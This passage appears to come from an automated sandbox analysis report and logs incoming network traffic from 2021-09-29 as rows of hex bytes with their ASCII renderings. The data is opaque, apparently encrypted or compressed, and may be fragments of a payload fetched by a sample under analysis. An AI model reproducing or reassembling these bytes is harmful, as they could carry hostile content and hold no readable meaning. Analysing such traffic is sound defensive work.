ba c8 04 4c 33 4a 9a 1d fc 41 72 50 53 63 57 36 55 1d b6 94 42 28 de 9e f6 97 b9 e3 ec 14 98 a5 fd bc 90 55 66 3c 50 9e ae b7 fa a2 8b 74 57 ed 9d 17 6c de 44 d7 2e 29 e8 3f 44 21 38 ec ae 47 a4 5b 10 5b 6a b4 ff 29 00 Data Ascii: oCfV*}\(l`gV\|?7Xp"E0#JNrg8;HX!Qh+.%am$4 5BprMF ~Tz7hY\^s:ovd0i7&\|x'RyQ!SL3JArPScW6UB(Uf<PtWlD.)?D!8G[[j)
2021-09-29 19:26:41 UTC	150	IN	Data Raw: 07 27 48 81 ce 5b 7b 72 27 42 59 d7 4d c0 be eb 86 13 1f 44 1f 81 b3 ad f5 f7 ca 63 06 23 7b b9 7f 18 34 30 4e 51 a2 a2 e4 46 ab ac 34 d8 0d c4 c4 e4 2b 87 39 50 52 83 bc f9 73 a2 5f e2 32 51 8c 8c f1 3f 33 18 7a 86 7a 74 3a 04 33 46 e3 bc 3d 58 6a 0e c4 60 00 33 53 a7 2f 2d 76 ad 06 e5 19 77 5f f9 76 b1 73 54 4e 1d 38 33 a4 19 eb e1 ff 39 d2 ef 9d aa 60 30 cd d6 d7 6e 84 c9 54 64 0b ab 0a 20 6d 06 77 66 1d b7 04 c6 0e ba d8 c1 e4 1d 86 68 1a 87 68 0a 7d 64 17 f6 8e ac ab 99 f8 d0 36 b0 1c 41 d9 b1 0c a2 83 1f 9f 16 1e 20 cc d0 d8 33 1a 69 b6 0a a5 54 0d 88 44 38 7c 22 af 37 78 48 55 70 4e 3b ef 98 a4 ea 15 b8 15 d2 ae 93 80 31 53 de ba c5 fc 58 f0 54 a5 58 8a 38 75 d6 4b 50 41 3c f5 43 22 a5 1b 89 3e d6 d7 7f f7 21 64 3f 36 b4 7e a9 7c ba e5 45 f1 c2 c7 Data Ascii: 'H[{r'BYMDc#{40NQF4+9PRs_2Q?3zzt:3F=Xj`3S/-vw_vsTN839`0nTd mwfhh}d6A 3iTD8\|"7xHUpN;1SXTX8uKPA<C">!d?6~\|E
2021-09-29 19:26:41 UTC	151	IN	Data Raw: 13 06 7f 9e 4a 4b 48 4a 42 48 20 58 36 d8 a5 57 29 f1 14 88 2d a2 f5 f5 2f 71 fb c2 bc 16 77 49 3e 73 93 54 91 d5 8f 9a 41 6d c0 be 26 62 cb 45 e3 00 30 5c 7e f4 24 34 c5 b4 86 db 4d 22 e5 7f 86 cb 32 11 15 bc 6d ff 6d c3 c9 fd 38 45 d4 cf 43 b2 10 b9 cf f7 2a 36 d7 19 3b 2c f8 c9 14 a0 11 9f 3c 4a d9 f0 a1 c6 2f 8b 5e f0 66 87 d6 7e 2d 89 4e 16 a6 af d3 03 17 df ec 2f 5f 95 2a 87 eb f6 86 a3 ed 9a 78 2f 8a aa 17 c3 30 24 5e ea dc a0 e4 a5 86 55 18 98 54 ad 5b 5f c1 cb 48 56 ce 1c 4c 5f ed fd db 7c 8b 9c f4 87 05 a7 22 42 3d b8 d7 8d f8 8c ac 6c fd 3a 02 b9 6c a1 39 35 e0 d3 09 bd 7c a2 60 f3 dd 6c f6 76 dc 29 7b 9f 2d 06 94 fc b5 ab 4d 42 c9 71 4f b0 11 c7 9b 7c b1 40 71 cd 91 46 93 f5 1a 91 c1 ce 3c 59 b9 9e 82 f3 24 89 65 67 6d cd e3 74 37 e5 ed ab 18 Data Ascii: JKHJBH X6W)-/qwI>sTAm&bE0\~$4M"2mm8EC6;,<J/^f~-N/_x/0$^UT[_HVL_\|"B=l:l95\|`lv){-MBqO\|@qF<Y$egmt7
2021-09-29 19:26:41 UTC	152	IN	Data Raw: 82 81 02 43 2e 95 15 20 1f 01 34 2b 9c bb b2 8c 99 79 e0 17 ac b6 f5 d7 de 08 3d de a3 c1 1e e1 35 d5 66 73 6f 37 f2 53 48 77 4b c3 86 c5 ce ee 1a b3 46 46 c5 49 b3 f5 af 99 2e f3 3a f8 1d 3e 94 75 0a 44 5a f5 3a fd f4 79 c9 84 0d ed ee 64 bd 66 a5 42 04 e9 fe 84 df 0d 2c a2 e4 ed 09 96 5e 17 22 6a 29 8d 65 e6 b1 20 36 85 1d dd 47 45 89 44 83 dc e1 58 f1 27 d4 e2 91 58 13 b8 9d 03 88 f6 45 e4 42 50 4b af cf 71 e7 48 23 dd fe dd d9 ee 3d 27 94 68 96 31 b9 5e 24 dd 8a 23 84 65 0e 20 3d 31 95 10 a8 67 79 6f 64 08 55 9a dd e0 87 58 94 83 bb 04 6e e2 2f 5c 26 01 f4 8f 4a ab fb a0 4b c5 35 f4 69 b9 fa 19 35 56 ae 2a a6 41 f0 9c 33 f9 1c ad c9 cd d9 00 5b 6f b0 99 35 9d 5b 3e 5e ab 77 ca 1a ca 70 33 fe 54 08 07 b5 82 ba d5 de d4 dd 94 22 6e be 5a 57 48 ca 9f 89 Data Ascii: C. 4+y=5fso7SHwKFFI.:>uDZ:ydfB,^"j)e 6GEDX'XEBPKqH#='h1^$#e =1gyodUXn/\&JK5i5V*A3[o5[>^wp3T"nZWH
2021-09-29 19:26:41 UTC	153	IN	Data Raw: 3a f0 3f 93 98 7d 5f bf 3c 34 f2 1a ce ff 4f e3 57 c8 21 48 78 c7 da 71 0f 0d 72 8c 9d 05 85 fc 22 85 47 07 dd 27 fd f0 56 26 cc 03 49 ab 33 32 1e 9b ff 03 30 26 7a ad 18 dc f8 ff 45 75 d8 9c 78 70 2b c3 62 44 d1 3a 56 93 12 ab 90 b9 e9 61 28 4e 95 e2 b0 80 29 d7 75 ad 1c d8 76 d7 7d d3 4b d5 d3 5f 3d a3 91 08 b3 ab a5 e5 6d 8e 22 24 04 d3 c3 16 82 f7 a3 0d ec 43 5d ea 98 c6 1c 4c fb dd c2 b1 23 bf f9 fb 6a 00 79 20 ef 88 fd 27 02 26 18 6f 89 87 27 41 37 54 c1 13 48 7a 22 10 3e dc e5 fa 5a d4 77 1e 1a 0e da 86 c6 75 96 05 6c f2 98 df d3 23 c9 29 81 49 38 cf b7 f1 7b 5b 7a 25 c0 0e 07 53 5f c7 48 5f 81 46 21 2b 62 fb 12 76 c9 02 db 75 0d 5e bf 0f b4 56 4e 42 ca 35 ec 2e 7e 6f 09 26 23 96 8c 8f 39 a1 30 94 c2 dc d2 1d 07 4d d7 c5 51 85 d3 24 7f 3f 99 0c 08 Data Ascii: :?}_<4OW!Hxqr"G'V&I320&zEuxp+bD:Va(N)uv}K_=m"$C]L#jy '&o'A7THz">Zwul#)I8{[z%S_H_F!+bvu^VNB5.~o&#90MQ$?
2021-09-29 19:26:41 UTC	155	IN	Data Raw: a3 22 16 c3 5c 72 35 dc 4f f0 2b f3 3c 75 91 dd 88 4d b5 4b b0 43 39 80 4b a8 3a 28 5d 56 eb ab a6 5c 77 db 3f cf a3 97 6c bc 6d 85 39 af 90 5e 99 9f d0 78 7c 46 3c 71 7a 78 73 a3 e8 3f 82 85 8f 41 30 3c c3 11 34 d5 a3 aa 81 3f f6 78 e6 b4 de 3f 52 cf f0 b7 ab d1 fd e1 f8 88 96 88 70 e0 64 ce 03 5d 91 13 ee d6 91 72 2e 7d e4 52 b8 6b 59 c3 24 77 c3 b1 b2 0a cd be f4 fd 0a 5d ba 0c 13 1d 20 6e 31 65 0a 75 d4 df 46 5b af 54 c3 40 e9 ae b0 29 07 e6 a8 e9 59 29 0b 71 1d d9 7b ff cc 95 91 18 3f dd b0 33 74 c2 7b ff 06 59 33 6a ee 7e 1c b3 de 96 85 0c 30 e1 6e b5 c5 53 7f 8a 38 ff 4d 85 12 0d 28 ff 96 41 06 8a 72 ce 63 1d 3a d5 86 24 c3 e3 a5 1a 03 d3 6d f0 66 81 e8 47 6c 23 5e 9f 1e ce 62 f8 1b 54 fb 82 31 d2 9e 3a 7a 60 97 90 5e 24 81 d8 01 af 45 4b 8f e8 dc Data Ascii: "\r5O+<uMKC9K:(]V\w?lm9^x\|F<qzxs?A0<4?x?Rpd]r.}RkY$w] n1euF[T@)Y)q{?3t{Y3j~0nS8M(Arc:$mfGl#^bT1:z`^$EK
2021-09-29 19:26:41 UTC	156	IN	Data Raw: 46 32 12 e4 fd ca 89 7e a3 8b d4 c2 47 de 88 60 d8 b4 a0 fc 34 9c b6 54 91 7b c6 f8 b7 5a e6 11 fd ae e4 2f f9 67 bc e5 ec 83 a7 af 03 0e 11 a4 3e 96 46 1c 3e 28 c0 a1 ea 64 6e f5 24 6a 8c b9 d2 18 a7 e9 cd a3 cc 9e 90 3f 88 4d b5 11 76 c8 0f 1f 13 de ad 20 d3 a2 cc dd 38 62 14 1e 01 38 4e 6d c9 39 66 6a b0 fe 4b fe d7 69 cc 56 5d 64 af 04 ec fb 52 7c f2 7e e3 06 50 d8 89 44 08 65 cf 41 2b 0d 28 14 14 d9 9f e4 c1 d7 5a e0 51 fa fb fd c8 c6 40 3d d1 b9 ba 28 89 2f d9 1d 50 42 63 94 2c 2c 62 37 f2 44 0a 0f 3e 97 0f c5 dd 42 cb 25 72 39 3a 80 76 b5 6f a3 cd 76 fb f6 e2 ec 43 f8 38 37 96 61 58 dc 18 2f b7 27 bf 6b 80 de 69 3b 5b 04 d7 ac 26 64 7f 9f 06 91 cf a9 fe b8 0f 96 11 56 30 62 93 32 f9 33 3c e1 2f a2 ff c2 3d 90 40 a6 dd bd 13 5a fd f8 36 e6 88 05 a9 Data Ascii: F2~G`4T{Z/g>F>(dn$j?Mv 8b8Nm9fjKiV]dR\|~PDeA+(ZQ@=(/PBc,,b7D>B%r9:vovC87aX/'ki;[&dV0b23</=@Z6
2021-09-29 19:26:41 UTC	157	IN	Data Raw: 74 14 e1 cb 21 83 67 97 78 fb ea 8c 3f 1b 8b bc 0f f6 4e c7 97 b1 4b 49 a3 4a 70 39 91 de 14 a6 69 da 74 1b a9 93 f3 a6 67 fe 26 b8 2d c7 86 3e 07 a8 06 5e fe a1 aa 48 64 93 f0 41 11 e3 60 99 83 b9 d8 f6 fb f1 2d 5f fc 93 16 dc fd ec 96 5d 25 7a 3d 7e 55 92 d3 50 97 22 ae 87 02 4a b5 af 24 c7 8e 91 02 08 0d 99 4b 44 27 00 c5 41 dd aa fa 40 3d 68 43 52 52 8c 0f f3 e8 5e 8e 58 f5 c8 0f 3a f4 4c 71 ad 51 d5 fd 5c d9 75 8b 48 04 de 73 75 f2 83 94 e8 37 3b a2 30 3d cb 68 a4 e7 2c d3 37 00 a2 c7 24 ea a9 46 c9 dc ae 43 0c e4 f6 cb a5 6e dc 17 21 00 b6 81 33 6f 9d 85 c3 1e b4 c1 5e 9c f7 5e b9 1b 55 7c 33 b8 f4 6d b3 c7 e8 df 7b 86 5a 8f 3d fc 5d f9 50 f3 39 cf cd 63 1e a5 93 70 d4 d8 cd 95 0b fc 40 4d 31 92 b2 7b cf fb e5 4f bc 07 40 ed d2 80 43 09 b3 91 9e e7 Data Ascii: t!gx?NKIJp9itg&->^HdA`-_]%z=~UP"J$KD'A@=hCRR^X:LqQ\uHsu7;0=h,7$FCn!3o^^U\|3m{Z=]P9cp@M1{O@C
2021-09-29 19:26:41 UTC	159	IN	Data Raw: c8 2f 4b 4c 41 51 a2 aa a3 37 cc 4f 8b 8d 90 ba 45 0e c5 2c 41 fb e4 91 c8 1e 23 e1 a9 ae 58 ce 3b 03 62 7a 62 bb 75 c8 9d 75 13 9a 31 e3 42 69 82 75 d9 a4 21 cd 6c ad 54 2a 4a c9 8f 33 3c f1 13 1d a1 3c 9b ca cc 25 5e e5 11 80 8e 70 4b 6e 34 23 fa a5 1e 9a 76 eb 43 fa 93 12 4e e6 7b ce be ce da e6 5a 8b 50 8d 89 98 8e 92 2c ee 98 89 b4 6d c8 e8 b0 1e 0b a5 68 60 71 21 e0 f9 61 9a 91 c0 3c bb 06 dc 10 f1 ab 13 69 4e 8b 70 de 2f d0 9a 3a d4 05 eb b6 fd e4 36 7a 35 d2 d6 61 fb 0b 1b 05 fd 3d a0 22 fd 7e 27 f6 10 43 13 a4 82 ba de 89 8b 6a 3e bf a5 7b f2 e7 e1 70 4a 7a 91 53 7f 84 ff f1 cd 45 9f 5b b6 d4 b9 44 3d b0 95 fe ec 94 db 97 f4 ec b1 91 1b b6 44 f1 3a 74 8a 1d e9 d7 f6 6a 39 3e d0 72 80 5f 0c a2 41 55 fe 86 84 2d d5 d3 96 f6 c8 bf 50 fe d0 c1 e8 f4 Data Ascii: /KLAQ7OE,A#X;bzbuu1Biu!lT*J3<<%^pKn4#vCN{ZP,mh`q!a<iNp/:6z5a="~'Cj>{pJzSE[D=D:tj9>r_AU-P
2021-09-29 19:26:41 UTC	160	IN	Data Raw: 21 58 0c b5 3c 5e dc 36 0e a7 00 bb 9b a8 b6 24 05 7f 9f d4 90 ed 31 c8 6d b2 4a a2 fd 5c fd 55 8f 40 70 ce a0 37 2d d9 4f 6a 6c 26 ac 61 ea f9 84 10 01 c2 63 2f 35 dc 0f a9 ea 08 12 36 d3 bd 12 0c 0c 72 a7 47 3a 0b af d1 aa e2 5e 6b 2e dd ef d5 eb 8b 8b 82 39 54 74 18 da 64 50 7a 33 53 65 90 ad fa 51 c7 6c 78 6e 2c ee e4 f2 60 b2 05 79 f9 83 a1 a8 13 c2 4a f8 37 76 ad ea e6 03 33 2f 7b 88 73 5f 13 0b be 1f 50 9c 24 52 7e 35 c2 4a 30 87 05 bd 15 3e 46 98 35 c4 21 98 d4 0b ac 4a b5 b5 9d d5 fe f9 43 7c 4a b9 38 f6 19 12 64 72 bb e5 98 24 2a b8 40 2b 90 bd da 40 d3 9e 85 fd 8c 85 c5 69 e9 36 ea 5b 01 a6 51 71 4b 99 e9 5d 8b e2 b3 82 7f 31 46 7b 6e 4c 10 5d bc 2a b1 92 6d 29 91 2a 09 85 36 93 9d 8e 6a c2 38 11 8d f9 39 b7 25 cb 8d 3a 40 84 d2 b7 08 af c6 f3 Data Ascii: !X<^6$1mJ\U@p7-Ojl&ac/56rG:^k.9TtdPz3SeQlxn,`yJ7v3/{s_P$R~5J0>F5!JC\|J8dr$@+@i6[QqK]1F{nL]m)*6j89%:@
2021-09-29 19:26:41 UTC	161	IN	Data Raw: e9 68 7b 52 12 c8 ec 48 2c 65 4a e4 27 ef 1f 7f 0f ae 9c 18 20 62 54 10 74 1f 69 6a 33 35 ab 2e c2 70 d6 e0 0a db 71 45 79 ee a0 9b 6b da 3a f0 b3 70 d2 e5 54 26 64 d6 1f 29 66 04 11 62 8d 3d 21 2e 0e 18 5e 30 56 2c 81 9c 4a 13 f7 0c 9b 18 b1 f6 e8 2d 69 b2 e6 b7 0d 7f 43 35 60 98 43 a1 fe bb be 4b 54 8f f7 73 28 94 24 b0 55 69 08 5b c5 3b 09 9d e4 c1 ce 2f 12 eb 23 f4 8b 1a 2d f4 5d 98 4c bb da d2 a1 33 5c c5 e2 4e bb 1e ba db d8 05 11 d8 10 20 7a df ca 1c b8 37 93 24 45 ea ca 88 e4 2e 96 5f ff 64 b6 df 7b 08 b7 5b 1b aa f7 e6 1c 0a c2 ac 0d 45 9d 07 dc c0 f4 97 bb b8 b4 02 43 e2 ae 25 fc 26 71 17 e9 a3 ea a7 ef f9 51 10 94 54 e1 71 46 98 83 1a 0e 99 7d 0a 18 d8 db db 7b b1 90 e8 c0 19 b2 2a 5a 10 bf f2 85 aa b3 9f 6b e0 17 0a b8 25 99 17 23 ea dd 04 b8 Data Ascii: h{RH,eJ' bTtij35.pqEyk:pT&d)fb=!.^0V,J-iC5`CKTs($Ui[;/#-]L3\N z7$E._d{[EC%&qQTqF}{*Zk%#
2021-09-29 19:26:41 UTC	162	IN	Data Raw: ba 19 35 82 47 2f 29 62 f3 c8 4e bd ad f0 19 8c 79 fb 3f e7 db 5a 21 00 c2 4d c1 3a ca b1 1c c4 00 cc a8 fa c3 25 61 11 ff c3 6f f9 78 0e 24 d9 02 ad 34 e7 4d 4b 84 35 4b 0f b2 87 b2 c8 8f 9b 9c c7 f2 7e b8 0b 05 0f 8e 9f be 53 9f ad 91 09 3c 04 e0 78 71 45 2d 45 03 db 8e 6e 3f 3a 7b 29 63 1f 32 6f 70 de f9 a2 36 8d 68 75 8a 3f 22 12 ff eb 8f 1c b4 53 f0 e5 9a 99 81 21 71 31 ac 32 54 15 cb 66 95 fb 4b 52 cc 6e 6f 71 2f 47 ab b2 a5 64 28 f4 df 87 7b a2 e5 e8 e1 7d d2 e7 ba 0a 9f 6f 58 6c b4 40 52 eb 28 ac 55 7b 3d 8d 75 5e f5 46 2e 38 30 4c 47 dd 47 29 05 ab ae a6 fc 02 f2 69 9f ee 42 35 a3 78 ae 76 57 3d 7f 3d ef 83 16 2f fb 68 c2 75 48 02 5e f3 08 c3 b0 9b 79 3e d6 70 3d 5e 8f 8a 38 12 90 10 80 6c b2 12 37 4f f3 be e5 5b de f9 9e 38 09 fb e9 12 6a fc bf Data Ascii: 5G/)bNy?Z!M:%aox$4MK5K~S<xqE-En?:{)c2op6hu?"S!q12TfKRnoq/Gd({}oXl@R(U{=u^F.80LGG)iB5xvW==/huH^y>p=^8l7O[8j
2021-09-29 19:26:41 UTC	163	IN	Data Raw: ee 55 26 6d 13 1d 57 ac c7 da e1 01 09 52 af 5a aa 0e 28 b1 e5 5d c8 27 5a 4a aa ca 4d 1d af 76 69 1d 4d 65 ba 05 68 3b 53 0c d1 76 c6 72 09 79 19 38 29 ad ea 8f 7e fe d3 cf 11 bd af 60 41 5d 2d c8 7a a2 8c 4a 12 11 ad 2a e7 48 02 6a 7f 3d ac 09 c0 13 ba f2 0e aa 80 9a 6e 1e 36 65 7c 67 76 8d 50 83 c9 a8 bf eb 96 29 c5 26 35 f7 67 1b c8 84 3d b2 49 36 2a c0 50 a6 60 10 84 97 2c b1 66 1f 91 c1 1b 51 01 bb 0e 73 4d 55 e4 4f ad de 9e a4 75 1a 63 0b d6 ae cb b4 69 1f 41 bb 8b ea 0d ff 45 a5 06 3e cd 74 d6 6d 02 7a ef d9 51 02 aa 12 38 14 db db fa d5 92 4e 2b 1c db 71 18 55 8c e1 6b a4 b7 dd d2 69 3e 0d 40 ae 51 77 7f 22 c5 a4 09 8f 9c a0 87 50 1b 6a 92 fb af 00 4e 55 e8 21 f8 ed 8e c1 0a 3b d4 31 74 f4 25 74 31 02 db c3 8b d5 ab 16 2a dd db 89 1c 3f 4f db 96 Data Ascii: U&mWRZ(]'ZJMviMeh;Svry8)~`A]-zJHj=n6e\|gvP)&5g=I6P`,fQsMUOuciAE>tmzQ8N+qUki>@Qw"PjNU!;1t%t1*?O
2021-09-29 19:26:41 UTC	164	IN	Data Raw: 8e a8 bb 5b 5b c0 47 9b ec 0f 30 d6 44 ad 76 81 03 0a 6b e8 8e 04 25 97 7c d0 1e 2b 21 ce c7 1a 8e f4 ab 0c 19 d1 70 e4 10 ff 90 3e 13 5e 6f e3 72 a2 10 88 6d 23 e3 c7 5b b9 f7 4c 49 0e e5 ff 2b 46 e1 b9 1d cd 21 2e 64 71 22 5a 58 c1 b8 04 37 a7 e0 91 a2 cc 5a 7c 56 75 3f 2a d3 93 02 c2 c0 e0 d0 5c 3e c9 bb 4b a1 d5 d2 45 5e 4f 25 06 36 4a 1b 81 7e 97 fc ba 1a 7d 24 02 f4 1e c3 4c d9 bd 69 d3 08 b8 9a 42 60 b4 2c 3b ca 20 d9 9e a4 be 2a 90 75 29 e2 5e 45 d3 ab af a5 16 82 97 24 1e e5 47 80 ca e7 d9 1a 20 91 fa 81 cf ad 73 ee ed 87 5f 95 d8 de e9 80 47 77 3f 3a 1e b3 93 37 7e 7d 9b 5d 29 91 f2 f3 8f c9 23 a3 1b 3d 07 8e dd 3a c0 31 5a e0 47 c1 11 a5 6e dd 18 b9 19 b3 1f a4 3d a7 96 af 50 52 9c af 39 64 71 de 1c 37 a0 8c 42 69 91 b2 10 56 a5 67 ed 3d 06 59 Data Ascii: [[G0Dvk%\|+!p>^orm#[LI+F!.dq"ZX7Z\|Vu?\>KE^O%6J~}$LiB`,; u)^E$G s_Gw?:7~}])#=:1ZGn=PR9dq7BiVg=Y
2021-09-29 19:26:41 UTC	166	IN	Data Raw: 0b ab 28 29 17 88 f6 5a a2 c4 57 d2 7b ee 75 ac 2d 42 47 f9 5c 95 82 08 bf 59 f7 72 8e 1c 5a 2a b3 5a 5a 5b 65 be 69 22 1f 89 f1 86 76 0e f4 61 c4 f6 3b 4b 71 cb f3 16 89 d1 e2 25 ed 61 fe c6 a4 4b eb 99 7b 91 28 06 56 ca 20 42 57 9b 4d 16 e0 f1 e6 cb 10 0b 7c ec 93 bf 8e 62 a9 97 2c 17 95 d0 28 bf 8b 2b b2 f3 cf 0e 23 25 d3 04 d8 c3 40 c3 aa 5f 93 c5 6e ca 4b 91 99 bb 8e 34 e2 5a 2e 29 f5 fb aa 51 bc a3 fa 1e c6 3b fa 3f 70 a3 33 3e 01 cb da c0 0e c1 b7 1c 53 2f 37 b6 fc e9 2f 66 ea e0 c5 6f 6e 78 f5 3a df 0b 3a 35 d3 02 4d 84 a2 43 f4 ac 81 bb 5f 8e 94 9e c1 72 67 be 04 07 09 8e 5b b5 5c 84 bb 52 26 29 ff b0 6f a3 1d 38 4a a6 ca 5c e1 2c 53 6d 39 53 ab 39 7d 74 fb 6c 10 31 e3 86 45 fd 8d 25 61 a3 e6 fa 91 bf 2b be e7 59 2b 92 5c 72 26 ed be 5f 19 68 76 Data Ascii: ()ZW{u-BG\YrZ*ZZ[ei"va;Kq%aK{(V BWM\|b,(+#%@_nK4Z.)Q;?p3>S/7/fonx::5MC_rg[\R&)o8J\,Sm9S9}tl1E%a+Y+\r&_hv
2021-09-29 19:26:41 UTC	167	IN	Data Raw: 38 01 8b b2 9d 35 78 8b 0d cb 19 8e f4 64 19 e4 33 a1 1a 2f 90 55 d2 91 f5 2c 50 70 49 ee 12 b6 ab dc 17 bb 18 b0 5f d2 30 3f 91 ea c2 62 43 39 3e 2d e6 ee 9c a7 a7 dd d5 59 ed 22 02 0e a6 56 b3 86 14 38 68 a9 a9 5b 68 74 0c c4 13 4c 1c e0 ba cb 89 10 19 5c 7c 80 8d bf d2 d7 9d 40 06 23 5b 8b 57 00 cd 0b 46 79 8e a0 84 60 81 2e 4a 41 1d dc 3f e0 be 84 38 50 44 86 91 e8 55 82 5c e9 c1 72 38 c1 de 3f f7 2f 52 ab 78 74 2f 26 a1 24 e5 bd 3c 5c b6 3f c7 60 00 a9 65 82 68 28 fc bc 04 e5 2d 76 11 d7 76 b1 7a 74 d0 3a 8d 35 8f 9f f9 59 fe 39 d6 cf c9 ab 36 18 74 f2 fb 7c 0a c8 46 67 0b ab 6c 70 70 0c 5a 78 3f 9f f5 e5 0e bc f2 47 19 84 10 69 20 a6 79 09 69 46 8d d3 a3 be cb bb aa c6 7e b1 3e 33 bf 93 0c bd 9e 37 a3 14 89 27 86 57 a4 aa 83 4b b2 2a b1 57 0c 88 49 Data Ascii: 85xd3/U,PpI_0?bC9>-Y"V8h[htL\\|@#[WFy`.JA?8PDU\r8?/Rxt/&$<\?`eh(-vvzt:5Y96t\|FglppZx?Gi yiF~>37'WK*WI
2021-09-29 19:26:41 UTC	168	IN	Data Raw: 6a c6 8c 66 ae 0b 05 0f 8e 9f 34 53 90 9d c5 2d 2b 08 b9 69 a3 5d 3f 45 24 cb 4d 56 ba 3b 5c 34 44 3c 4c ed 76 fa 6c 87 26 8d dc 67 26 18 3e 12 62 45 fa 06 be 53 89 c6 98 bb 43 23 49 20 65 aa 5e 15 6a 77 09 fc d6 53 9a 7d 79 57 fd c4 35 9b 96 42 38 f4 74 8a de ba f9 e8 e8 f2 a7 fd bc 0a 66 4b 27 71 f1 48 af fa a2 ab 53 7b 6d 9d 16 64 64 47 53 24 19 6a 41 dd 20 38 68 8e be 86 cc 11 4e 43 83 ee 0f 20 d6 62 28 76 97 3e 00 20 66 8f 1c 27 97 7c d0 75 80 21 d8 fa 8d c2 60 bd 14 1b d0 70 e4 40 7a 90 28 32 cb 23 7c 60 ba 12 89 6d 23 92 77 5b af d6 d9 15 a7 f7 e7 21 47 e1 b9 67 48 21 38 35 e4 45 e3 4a d9 b2 05 37 a7 7b 21 a2 da 0b e9 27 b3 2d 32 c1 92 02 c2 72 65 d0 4a 6f 5c c3 9a b3 ca d8 44 5e 4f e0 b6 36 5c 4a 14 04 40 ee a5 10 7c 24 02 19 9b c3 5f 88 28 15 30 Data Ascii: jf4S-+i]?E$MV;\4D<Lvl&g&>bESC#I e^jwS}yW5B8tfK'qHS{mddGS$jA 8hNC b(v> f'\|u!`p@z(2#\|`m#w[!GgH!85EJ7{!'-2reJo\D^O6\J@\|$_(0
2021-09-29 19:26:41 UTC	169	IN	Data Raw: 4c ea 59 a2 a9 e0 67 0b ab 2a 64 43 91 76 96 37 b9 29 ac a9 bc f2 47 9a 92 87 ff 1f b2 6a 2f 7d 10 25 d3 a3 be 8d af eb d9 31 60 3e 15 f7 61 a4 bd 9e 37 b2 02 1e e2 e7 67 b7 8c 1b 59 18 2a b1 57 0d 99 c6 e2 75 b5 89 31 6c ff 77 70 6e b4 c1 9e bc 0c 2c 83 38 f6 ae 01 01 b7 2d 47 bb d6 f8 ef e4 84 b4 7e 10 f1 f3 c4 6d 70 54 2c f5 49 05 da 24 af 3e b9 77 57 da 23 64 2a 1c 70 7f 7a 6e ac e1 45 16 c2 c7 d4 69 ff 23 bb bb d5 65 c0 0a 35 3d 0f 8f 46 a1 e1 4a 5d 6d e6 f4 fc 1a fc e0 a1 3f a2 e9 9b c1 6f 21 5d 24 40 f4 cd db cb 19 c9 c3 1a df c6 0c 87 cf 58 a8 2e 8d 49 db 86 2d 02 da d4 61 06 67 e4 9e 89 ca 09 b6 71 dc cc 20 7c 28 bf 71 9b be b9 47 17 b2 02 a5 dc 7e d0 9f fb 93 ca 99 32 38 33 e3 1b d9 d0 d7 5d e2 8e 83 e3 f9 cb 16 8e 98 3b 19 24 a2 d2 2e 42 71 dc Data Ascii: LYgdCv7)Gj/}%1`>a7gYWu1lwpn,8-G~mpT,I$>wW#d*pznEi#e5=FJ]m?o!]$@X.I-agq \|(qG~283];$.Bq
2021-09-29 19:26:41 UTC	171	IN	Data Raw: 0b 47 b5 88 66 c8 21 2e 06 73 d3 5a ff df 98 05 df 96 7a a1 a2 cc 38 7e 7d 75 f2 39 eb 92 06 f6 73 e5 d0 5c 5c cb 6f 4c 6c c6 f2 44 0e 7a e1 36 36 4a 79 83 ab 97 31 a9 3a 7c bc 34 18 1b c3 4c b9 bf 8a c7 c7 b8 ba 43 84 82 06 0a ca 20 b9 9c ef b8 a0 96 55 28 c6 69 53 d5 ab af d2 0c f6 b2 16 1c ca 46 ac fd 07 e8 1a 20 ca f8 6d c1 ec 6c c6 ed 67 66 2f d8 de e9 9b 5f 1a 1a 02 1c 9f 92 df 47 8a 9a ca 28 8a f2 f3 8f 5a 21 8f 1b eb 3d 55 dd 93 f4 2a 5a 7d 41 53 13 9a 6f 6d 23 b8 19 b0 1f d3 37 b6 b8 a2 54 4f 9c dc 03 2c 71 ef 1c a6 a9 49 6d e7 91 09 11 ff 9e 57 ed aa 07 3e 62 82 cc 74 7a 59 0d e0 1b 4f 4c c0 ba cd 81 24 30 c9 86 89 9e 8f ef d6 c5 60 06 25 53 47 52 35 35 01 55 1d b3 a1 e4 40 81 28 42 95 0f 49 c3 ea 3b f4 05 51 c8 a6 91 ee 5d f9 57 cc 33 7e ac 65 Data Ascii: Gf!.sZz8~}u9s\\oLlDz66Jy1:\|4LC U(iSF mlgf/_G(Z!=U*Z}ASom#7TO,qImW>btzYOL$0`%SGR55U@(BI;Q]W3~e
2021-09-29 19:26:41 UTC	172	IN	Data Raw: 43 04 da 86 2d 11 cb 15 f1 d4 da dc c9 99 c9 2b b6 71 dc df 26 0c d3 48 73 bd e9 7d 47 5a b3 02 a5 cf 6f 3f 01 29 39 f2 ce 8e c6 7d e2 1b d9 c3 c4 c2 77 5c 4d c7 ae cb 4e df 99 bb 19 35 84 5d d6 0d 9c e4 9e 4e 31 f2 f1 19 8c 39 fd 37 4f ae 12 20 57 cb 8d 90 3b c3 b1 1c c2 26 79 a4 45 e9 72 61 dd af c2 6f f9 79 08 2c 3a 15 e5 35 b0 00 4b d6 34 42 0f b2 81 b3 3b 91 24 9c 90 72 61 eb 0a 05 0f 8e 99 bc 28 b4 d1 56 7b 2e 44 fc 68 a3 5d 3f 43 ac 46 6e f0 30 6d 4c 74 01 3d 38 6f 76 fc 64 33 38 86 b9 33 fd 9a 76 13 82 c7 fa 00 b6 96 97 d7 47 eb 93 ad 01 21 ed 29 5e 13 62 35 17 f7 5f 05 45 bf 31 56 29 47 35 9d 9e 11 26 e5 02 df 0e 74 b1 e9 34 76 a7 fb b4 90 63 f2 2e 21 be 40 e6 fb a2 ab 53 7d e5 3e 13 2c f6 11 d7 24 50 6b 41 dd 20 39 e8 19 a9 d0 44 47 c1 e7 ca ef Data Ascii: C-+q&Hs}GZo?)9}w\MN5]N197O W;&yEraoy,:5K4B;$ra(V{.Dh]?CFn0mLt=8ovd383vG!)^b5_E1V)G5&t4vc.!@S}>,$PkA 9DG
